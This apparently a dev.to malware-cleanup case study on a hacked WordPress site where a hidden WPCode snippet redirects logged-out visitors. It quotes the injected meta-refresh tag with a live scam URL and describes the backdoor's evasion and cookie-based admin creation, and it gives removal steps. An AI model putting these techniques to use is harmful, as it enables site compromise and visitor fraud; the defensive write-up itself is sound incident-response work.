&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85s4u4i4lpo6nqg2nq9b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85s4u4i4lpo6nqg2nq9b.png" alt="Sucuri SiteCheck report showing No Malware Found and Site is not Blacklisted on a WordPress site that was actively redirecting visitors due to hidden WPCode malware" width="800" height="440"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Sucuri SiteCheck reporting a clean site while WPCode malware was actively redirecting every logged-out visitor.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Remote scanners are useful but easy to fool. Sucuri’s SiteCheck makes one anonymous request from a generic user agent with no cookies. The WPCode snippet doing the redirect specifically checks for logged-in users, repeat visitors (via a 24-hour transient keyed to IP), and requests to &lt;code&gt;/wp-admin/&lt;/code&gt; — and exits silently if any of those match. SiteCheck’s single anonymous visit doesn’t trigger the payload, so SiteCheck reports clean. The malware is still there.&lt;/p&gt;

&lt;p&gt;I opened the homepage with &lt;code&gt;view-source:&lt;/code&gt; prefix in an incognito Chrome tab to bypass JavaScript execution and see the raw HTML the server returned:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qe9j7hwbjayl6nunv5o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5qe9j7hwbjayl6nunv5o.png" alt="WordPress page source code showing a malicious meta http-equiv refresh tag pointing to lemon-well-flash.pages.dev as the WPCode malware redirect target" width="800" height="220"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The actual response: a single  tag pointing to a Cloudflare Pages subdomain.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv=&lt;/span&gt;&lt;span class="s"&gt;"refresh"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"0; url=https://lemon-well-flash.pages.dev/help/?32161731835980&amp;amp;extra_param_1=d8683sl3kl6c73ejm0g0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entire page response had been replaced with one meta-refresh tag pointing to a &lt;code&gt;pages.dev&lt;/code&gt; URL. Cloudflare Pages is being increasingly abused by malware operators because the SSL certificate is trusted, the latency is low, and the actual scam destination stays one hop removed from the compromised WordPress site. By the time the visitor lands there, the trail back to your domain is fuzzy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Searching the database — and finding nothing
&lt;/h2&gt;

&lt;p&gt;The standard places for a meta-refresh injection are &lt;code&gt;wp_posts.post_content&lt;/code&gt;, &lt;code&gt;wp_options&lt;/code&gt; (specifically &lt;code&gt;siteurl&lt;/code&gt; and &lt;code&gt;home&lt;/code&gt;), and the active theme’s &lt;code&gt;header.php&lt;/code&gt;. I opened phpMyAdmin and ran a database-wide search for &lt;code&gt;lemon-well-flash&lt;/code&gt;, then for &lt;code&gt;pages.dev&lt;/code&gt;, then for &lt;code&gt;meta http-equiv&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv8y7f5xn0ouv5idmyjkn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv8y7f5xn0ouv5idmyjkn.png" alt="phpMyAdmin search results showing zero matches across every WordPress database table for the WPCode malware redirect URL lemon-well-flash.pages.dev" width="800" height="551"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Zero matches in any database table — the malicious URL was never stored as plain text.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Zero matches across every table. I also grepped the theme directory and &lt;code&gt;wp-content/uploads&lt;/code&gt; for the same strings on the server. Still nothing. That told me the redirect URL wasn’t stored as plain text anywhere — it was being fetched at runtime by code I hadn’t found yet. This is intentional design on the attacker’s part: by storing the destination URL in a dynamically-fetched WordPress option rather than hardcoding it, the attacker can rotate destinations whenever Cloudflare takes down a pages.dev instance, without needing to re-infect anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 2: The diagnostic that always cracks the case — count the plugins
&lt;/h2&gt;

&lt;p&gt;When the database search and the file grep both come back empty on a redirecting site, I go to the most reliable manual indicator I know: a plugin count comparison. WordPress builds the Plugins page by reading &lt;code&gt;wp-content/plugins/&lt;/code&gt; and applying the &lt;code&gt;all_plugins&lt;/code&gt; filter. Malware that hooks &lt;code&gt;all_plugins&lt;/code&gt; can hide an entire plugin from the dashboard without touching the disk. The folder always exists. The listing doesn’t.&lt;/p&gt;

&lt;p&gt;I logged into File Manager and opened &lt;code&gt;/wp-content/plugins/&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F256p095j718c9hsuz2bx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F256p095j718c9hsuz2bx.png" alt="WordPress plugins folder in file manager showing 25 items including the suspicious head-footer-code and insert-headers-and-footers folders for WPCode" width="799" height="344"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;25 items on disk: 24 plugins plus the index.php hardening file. Note both head-footer-code and insert-headers-and-footers — a duplicate-purpose pair that’s almost always a malware signature.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now the WordPress dashboard:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxx13y7wuy6uhtdiynsvf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxx13y7wuy6uhtdiynsvf.png" alt="WordPress admin Plugins page showing All (22) count which is two fewer than the actual plugin folder count on disk, indicating hidden WPCode plugin malware" width="799" height="464"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The Plugins page shows All (22). Disk shows 25. Three folders exist that WordPress refuses to admit are there.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Disk says 25 (24 real plugins plus &lt;code&gt;index.php&lt;/code&gt;). Dashboard says 22. Two plugins are being actively hidden by something running on the site. This is one of the most reliable malware indicators in WordPress — there is no built-in feature that hides a plugin from the Plugins page. If your folder count doesn’t match the All (X) number, something is hooking &lt;code&gt;all_plugins&lt;/code&gt; to lie to you, and that something is almost certainly malicious. I’ve documented the same mismatch pattern in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hidden-admin-user-how-to-detect-and-remove-it-permanently-real-code-real-cleanup-1cod"&gt;a separate case study where malware mathematically subtracts itself from the user count&lt;/a&gt; — same technique, applied to a different list.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 3: Identify the hidden WPCode install
&lt;/h2&gt;

&lt;p&gt;I exported a list of every folder in &lt;code&gt;/wp-content/plugins/&lt;/code&gt; and compared it line-by-line to the dashboard. Two folders had no match:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;head-footer-code&lt;/code&gt; — a plausible-sounding fake plugin name designed to blend in. Deleting it didn’t stop the redirect. This was the decoy.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;insert-headers-and-footers&lt;/code&gt; — the legitimate folder name for the WPCode plugin. This client had never installed WPCode. The plugin’s menu wasn’t visible. Its entry was filtered out of &lt;code&gt;all_plugins&lt;/code&gt;. Yet the entire plugin was sitting in the plugins directory, active and running on every page load.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc00ibe56avjcwm4ey8j8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc00ibe56avjcwm4ey8j8.png" alt="Hidden insert-headers-and-footers plugin folder contents showing ihaf.php and complete WPCode plugin structure used as a malware host on a hacked WordPress site" width="800" height="394"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The insert-headers-and-footers folder is structurally identical to a clean WPCode install. The attacker didn’t ship a fake plugin — they installed the real one and used it as a payload host.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is the part that throws most site owners off. The plugin itself isn’t fake. The files inside it aren’t modified. If you scanned the plugin directory with Wordfence after the malware was active, Wordfence would see “WPCode 2.2.1, official version, file checksums match” and move on. The malicious payload isn’t in the plugin’s files — it’s in the database, as a snippet entry that WPCode loads and executes itself.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 4: A bonus discovery — the “innocent” Code Snippets entry
&lt;/h2&gt;

&lt;p&gt;Before touching WPCode, I noticed the client also had the unrelated &lt;strong&gt;Code Snippets&lt;/strong&gt; plugin installed and active. Different plugin, different developer, different database table (&lt;code&gt;{prefix}_snippets&lt;/code&gt;). I queried that table directly and found an active snippet I didn’t expect:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3eu3f3j4t8ixlyrttjx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3eu3f3j4t8ixlyrttjx.png" alt="Code Snippets plugin database table showing a Disable admin bar snippet using show_admin_bar false that was planted by malware to obscure debugging" width="800" height="416"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;An innocent-looking show_admin_bar(false) snippet. In isolation it’s harmless. In context, it was the attacker hiding their tracks.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nf"&gt;add_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'wp'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nf"&gt;current_user_can&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'manage_options'&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;show_admin_bar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read in isolation, that code is harmless — it hides the WordPress admin bar from non-admin users. Plenty of legitimate sites do this. But the client confirmed he had never written it, and no developer had touched the site in over a year. The snippet’s purpose wasn’t functional — it was &lt;strong&gt;obscuration&lt;/strong&gt;. If the owner ever logged in as a lower-privilege user to debug, the admin bar would be missing, which makes the symptoms easier to dismiss as “something with my theme.” It’s a tiny piece of social engineering hidden inside legitimate-looking PHP. Attackers think about ergonomics. They make investigation boring.&lt;/p&gt;

&lt;p&gt;I deleted the snippet first. That made nothing visibly better, but it cleared the way for the next step.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Unhide WPCode and find the real payload
&lt;/h2&gt;

&lt;p&gt;I went into the WPCode plugin folder via SFTP and renamed it temporarily — that breaks the active hook that filters WPCode out of the plugin list. After refreshing the dashboard, the plugin count jumped from 22 to 23. I renamed the folder back, reactivated the plugin, and the WPCode admin menu finally appeared.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7m6tipmswbmzikym84i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7m6tipmswbmzikym84i.png" alt="WordPress sidebar showing Code Snippets and WPCode admin menus reappearing after the hiding filter from the malware was neutralized" width="799" height="407"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;With the hiding filter neutralized, the WPCode menu reappeared in the sidebar.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Inside WPCode’s snippet editor, one entry was waiting: an “Untitled Snippet” set to PHP, location “everywhere,” auto-insert priority 10. The code was 7,893 bytes long, fully readable PHP, no obfuscation needed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff0a0pqu97hn7mx7ukikm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff0a0pqu97hn7mx7ukikm.png" alt="WPCode plugin Edit Snippet screen showing the malicious PHP payload starting with _WP_WEBSITE constant definition and _WP_PWSA password hash" width="800" height="350"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The actual payload inside WPCode: an Untitled Snippet, set to load everywhere, with the victim’s domain hardcoded as _WP_WEBSITE.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here’s what the snippet actually does, broken into the five things it accomplishes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disables every WordPress cache layer for itself.&lt;/strong&gt; The first ten lines fire &lt;code&gt;add_filter&lt;/code&gt; calls against SiteGround SG Optimizer, Autoptimize, WP Rocket, W3 Total Cache, LiteSpeed, and the WordPress built-in cache. The attacker wants the redirect to fire on every visitor in real time. Cached HTML would expose the meta refresh tag to administrators reviewing their site.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hides itself and the plugin from administrators.&lt;/strong&gt; If the current user can edit pages, the snippet hooks &lt;code&gt;admin_head&lt;/code&gt;, &lt;code&gt;all_plugins&lt;/code&gt;, and the &lt;code&gt;update_plugins&lt;/code&gt; transient to make WPCode (and the decoy &lt;code&gt;head-footer-code&lt;/code&gt;) invisible. That’s the filter that was hiding the three folders from the dashboard count.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provides a cookie-based remote admin endpoint.&lt;/strong&gt; The function &lt;code&gt;_gcookie()&lt;/code&gt; checks for a base64-encoded cookie named &lt;code&gt;pw&lt;/code&gt;. If the value matches the hardcoded hash &lt;code&gt;65cee9c9c1d0f71b937bcf85ebff913f&lt;/code&gt;, the attacker can pass additional cookies (&lt;code&gt;u&lt;/code&gt;, &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;) and silently call &lt;code&gt;wp_create_user()&lt;/code&gt; with administrator role — no login form, no audit log entry, no notification email.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stores the redirect destinations as a WordPress option, populated remotely.&lt;/strong&gt; This is why my database search came up empty. The redirect URLs come from &lt;code&gt;get_option('l')&lt;/code&gt;, which the attacker writes to via the same cookie command channel (&lt;code&gt;case 'sl'&lt;/code&gt;). When Cloudflare takes down one pages.dev URL, the attacker pushes a new one to every infected site — no re-infection needed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conditional redirect for logged-out visitors only.&lt;/strong&gt; The &lt;code&gt;_red()&lt;/code&gt; function fires on &lt;code&gt;init&lt;/code&gt;. It exits immediately for logged-in users, requests to &lt;code&gt;/wp-admin/&lt;/code&gt;, requests to &lt;code&gt;wp-login.php&lt;/code&gt;, and visitors who’ve already been redirected in the last 24 hours (tracked by transient &lt;code&gt;exp&lt;/code&gt; keyed on IP). The site owner viewing their own dashboard never sees the redirect. The first visitor of the day from any given IP gets hit once and then doesn’t get hit again for 24 hours — which is why owners always say “but when I check it myself, it’s fine.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This architecture matches the &lt;strong&gt;DollyWay v3&lt;/strong&gt; campaign documented by GoDaddy security researcher Denis Sinegubko. The campaign has been active since 2016, has compromised more than 20,000 WordPress sites, and currently generates around 10 million fraudulent ad impressions per month routed through the VexTrio and LosPollos affiliate networks. The technical details vary site to site, but the WPCode-as-payload-host pattern is now its signature.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to remove WPCode malware (the order that actually works)
&lt;/h2&gt;

&lt;p&gt;Removal order matters here. DollyWay injects copies of its payload into multiple active plugins and reinfects on every page load. Delete the visible snippet first and the malware regenerates it within seconds. The working sequence on this client’s site was:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Take the site offline behind a maintenance page&lt;/strong&gt; before touching anything. This stops further redirects and prevents the reinfection cycle from firing during cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete the decoy Code Snippets entry&lt;/strong&gt; from the &lt;code&gt;{prefix}_snippets&lt;/code&gt; table (the &lt;code&gt;show_admin_bar&lt;/code&gt; one, if you have it).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete the WPCode snippet from the database directly.&lt;/strong&gt; Don’t use the WPCode interface — the row is in &lt;code&gt;{prefix}_wpcode&lt;/code&gt; or as serialized data inside a &lt;code&gt;{prefix}_options&lt;/code&gt; row, depending on plugin version. Delete the row entirely. Emptying the value lets WPCode regenerate it from cache.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete the orphan WordPress options&lt;/strong&gt; &lt;code&gt;l&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt;, and the transient &lt;code&gt;exp&lt;/code&gt; from the options table. These are the attacker’s command-and-control storage keys.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete the entire &lt;code&gt;insert-headers-and-footers&lt;/code&gt; folder&lt;/strong&gt; from &lt;code&gt;/wp-content/plugins/&lt;/code&gt;. If you legitimately use WPCode, reinstall it fresh from WordPress.org afterward. Delete the &lt;code&gt;head-footer-code&lt;/code&gt; decoy folder too.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit every other active plugin’s PHP files&lt;/strong&gt; for the same payload signature. Grep for &lt;code&gt;_WP_WEBSITE&lt;/code&gt;, &lt;code&gt;_WP_PWSA&lt;/code&gt;, and the &lt;code&gt;_red()&lt;/code&gt; function name across the entire &lt;code&gt;wp-content&lt;/code&gt; directory. DollyWay scatters copies into multiple plugins so cleanup that stops at the snippet leaves the site reinfecting on the next page load. &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-wordpress-malware-keeps-coming-back-and-how-to-stop-it-forever-4953"&gt;My guide on why WordPress malware keeps coming back&lt;/a&gt; covers the broader reinfection pattern.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit &lt;code&gt;wp_users&lt;/code&gt;&lt;/strong&gt; for usernames that look like 32-character hex strings, or any administrator account the owner doesn’t recognize. DollyWay creates these proactively. See &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hidden-admin-user-how-to-detect-and-remove-it-permanently-real-code-real-cleanup-1cod"&gt;my detailed guide on finding and removing hidden WordPress admin users&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential&lt;/strong&gt; — WordPress admin, hosting, FTP/SFTP, database user, and the WordPress secret keys in &lt;code&gt;wp-config.php&lt;/code&gt;. The C2 channel is keyed to a hardcoded password hash, so rotating the hash makes any future cookie command useless.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run a Wordfence high-sensitivity scan&lt;/strong&gt; after the hiding filter is gone. Wordfence will now actually catch the residual plugin-level injections it missed when the hide filter was suppressing the WPCode menu and dashboard notices.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For the complete systematic cleanup process across files, database, and post-cleanup hardening, see my &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-removal-expert-guide-to-clean-hacked-wordpress-site/" rel="noopener noreferrer"&gt;WordPress malware removal expert guide&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three things this case teaches WordPress site owners
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A clean SiteCheck report doesn’t mean a clean site.&lt;/strong&gt; Remote scanners visit your homepage once, anonymously, with no cookies. WPCode malware is built to evade exactly that visit. If you’re seeing redirects with your own eyes and your scanner says clean, trust your eyes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plugin count mismatches are one of the most reliable manual indicators of compromise.&lt;/strong&gt; No legitimate WordPress feature hides plugins from the dashboard. Anything beyond a single-folder difference between &lt;code&gt;/wp-content/plugins/&lt;/code&gt; and the All (X) count means something is hooking &lt;code&gt;all_plugins&lt;/code&gt; to hide a plugin from you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don’t assume a “harmless” snippet is actually harmless.&lt;/strong&gt; The &lt;code&gt;show_admin_bar(false)&lt;/code&gt; code wasn’t a backdoor — it didn’t redirect anyone, didn’t create users, didn’t talk to a C2 server. It was planted to make your debugging harder. Investigate every snippet you didn’t personally write.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When to bring in help
&lt;/h2&gt;

&lt;p&gt;I’ve cleaned more than 4,500 hacked WordPress sites at this point, and the WPCode-malware cleanups that come back to bite owners are almost always the ones where the visible snippet got removed but the persistence mechanism didn’t. With this infection family the snippet is the symptom, not the disease. The disease is the injection sitting inside every active plugin, the hidden admin account waiting for a password reset, and the WordPress option storing the next C2 endpoint.&lt;/p&gt;

&lt;p&gt;If you’ve found WPCode on your site that you never installed, or you’ve found a snippet inside WPCode that you didn’t create, and you want a guaranteed cleanup with persistence audit and 30-day reinfection guarantee, my &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress malware removal service&lt;/a&gt; handles the full job. If you’re already stuck in a reinfection loop, the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/case-study-how-i-removed-regenerating-wordpress-malware-disguised-as-system-control-mm8"&gt;regenerating malware case study&lt;/a&gt; covers the persistence side in depth. Or just &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;hire me directly&lt;/a&gt; and I’ll take a look at your site.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  I never installed WPCode on my WordPress site — why is it there?
&lt;/h3&gt;

&lt;p&gt;An attacker installed it. WPCode (also known by its folder name &lt;code&gt;insert-headers-and-footers&lt;/code&gt;) is one of the most popular targets for the DollyWay malware campaign because it’s a legitimate, widely-used plugin that won’t trigger security alerts and because it can execute arbitrary PHP through its snippet feature. The malware silently installs WPCode through a compromised plugin or weak admin password, then hides it from your dashboard so you don’t notice.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why doesn’t WPCode show up in my WordPress dashboard even though the folder is in the plugins directory?
&lt;/h3&gt;

&lt;p&gt;Because the malware is actively hiding it. The malicious snippet inside WPCode hooks WordPress’s &lt;code&gt;all_plugins&lt;/code&gt; filter and unsets the WPCode entry before the Plugins page is rendered. It also injects CSS that hides the WPCode admin menu via &lt;code&gt;display: none&lt;/code&gt;. The plugin is loading and executing every page request — you just can’t see it. Renaming the plugin folder via FTP breaks the hiding hook and makes it visible again.&lt;/p&gt;

&lt;h3&gt;
  
  
  I found a snippet in WPCode that I didn’t add. Should I just delete it?
&lt;/h3&gt;

&lt;p&gt;Deleting the visible snippet is necessary but not sufficient. The same payload is usually injected into other active plugins and reinfects on every page load. You also need to delete the related WordPress options (&lt;code&gt;l&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt;) that store the C2 destination, audit your admin user list for hex-string usernames, and grep every plugin file for the &lt;code&gt;_WP_WEBSITE&lt;/code&gt; constant. If you’re not comfortable doing all of that, get professional help — partial cleanup is worse than no cleanup because it teaches you the site is “fixed” when it isn’t.&lt;/p&gt;

&lt;h3&gt;
  
  
  WPCode keeps reinstalling itself after I delete it. How do I make it stop?
&lt;/h3&gt;

&lt;p&gt;The reinfection is being driven by malicious code inside one or more of your other plugins, or by a hidden admin account that the malware uses to reinstall WPCode via the standard plugin installer. Grep your entire &lt;code&gt;wp-content/plugins/&lt;/code&gt; directory for &lt;code&gt;insert-headers-and-footers&lt;/code&gt;, &lt;code&gt;_WP_WEBSITE&lt;/code&gt;, and &lt;code&gt;wp_create_user&lt;/code&gt;. Audit your &lt;code&gt;wp_users&lt;/code&gt; table directly via phpMyAdmin (the admin Users page may be lying to you the same way the Plugins page was). Until you remove the persistence mechanism, deleting WPCode alone will never stick.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is WPCode itself dangerous? Should I uninstall it?
&lt;/h3&gt;

&lt;p&gt;No, WPCode is a legitimate plugin with over 2 million active installs. The plugin’s code is fine. The problem is that attackers use it as a delivery mechanism for malicious snippets. If you actively use WPCode for legitimate snippets, audit your snippet list and delete anything you didn’t personally create. If you don’t use it, uninstalling is the safer choice — it removes one of the most common payload hosts attackers reach for.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does my site only redirect sometimes and not every time I visit?
&lt;/h3&gt;

&lt;p&gt;The malware sets a 24-hour WordPress transient keyed to your IP address. Once you’ve been redirected, you won’t be redirected again from the same IP for 24 hours. That’s why owners often can’t reproduce the issue on the same browser they first saw it on. Test from your phone on cellular data, a new incognito window, or a different network entirely.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Last updated: November 2025 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist — 4,500+ hacked WordPress sites cleaned. Found WPCode malware on your site? &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;Send me a message&lt;/a&gt; and I’ll take a look.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Bitdefender Blocked My WordPress Site and the Users List Was Empty — Inside a Self-Replicating Mu-Plugin Malware Cleanup</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Tue, 19 May 2026 14:50:51 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/bitdefender-blocked-my-wordpress-site-and-the-users-list-was-empty-inside-a-self-replicating-4b7e</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/bitdefender-blocked-my-wordpress-site-and-the-users-list-was-empty-inside-a-self-replicating-4b7e</guid>
